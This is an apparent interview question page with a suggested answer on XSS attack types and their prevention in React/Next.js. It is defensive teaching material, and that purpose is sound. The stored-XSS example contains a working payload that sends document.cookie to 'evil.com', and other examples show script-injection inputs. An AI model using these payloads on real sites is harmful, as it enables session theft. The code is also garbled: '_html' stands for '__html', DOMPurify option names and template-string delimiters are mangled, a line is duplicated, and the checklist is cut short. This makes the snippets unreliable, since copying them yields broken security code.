mediumFull Stack EngineerFintech
How do XSS attacks work, and what are the different prevention strategies in a React/Next.js application?
Posted 18/04/2026
by Mehedy Hasan Ador
Question Details
At a security-conscious fintech company:
> "A user submitted a support ticket with
> "A user submitted a support ticket with
<script>alert(document.cookie)</script> in the title. Our app displayed it without escaping. What are the XSS vectors and how do we prevent them?"Suggested Solution
Types of XSS
1. Stored XSS (most dangerous)
// User saves malicious content to database
const comment = '<img src=x onerror="fetch('https://evil.com?c='+document.cookie)">';
// Later displayed without escaping → script executes for ALL viewers
2. Reflected XSS
URL: https://app.com/search?q=<script>alert(1)</script>
// Server reflects the param in HTML without escaping
3. DOM-based XSS
// Client-side code reads from URL and injects into DOM
const q = new URLSearchParams(location.search).get("q");
document.getElementById("result").innerHTML = q; // ❌ Unsanitized!
Prevention in React/Next.js
React's Built-in Protection
// ✅ Safe: React auto-escapes JSX
<p>{userInput}</p> // <script>... displayed as text
// ❌ Dangerous: Bypasses escaping
<div dangerouslySetInnerHTML={{ _html: userInput }} />
Sanitize HTML Content
import DOMPurify from "dompurify";
const clean = DOMPurify.sanitize(userInput, {
ALLOWEDTAGS: ["b", "i", "em", "strong", "a"],
ALLOWEDATTR: ["href"],
});
<div dangerouslySetInnerHTML={{ _html: clean }} />
Content Security Policy (CSP)
// next.config.ts
const cspHeader =
default-src 'self';
script-src 'self' 'nonce-{random}';
style-src 'self' 'unsafe-inline';
img-src 'self' blob: data:;
connect-src 'self' https://api.example.com;
;
HttpOnly Cookies
// Prevent JS access to session tokens
res.setHeader("Set-Cookie", [
token=${jwt}; HttpOnly; Secure; SameSite=Strict; Path=/,
]);
// document.cookie → can't read the token
Checklist
encodeURIComponent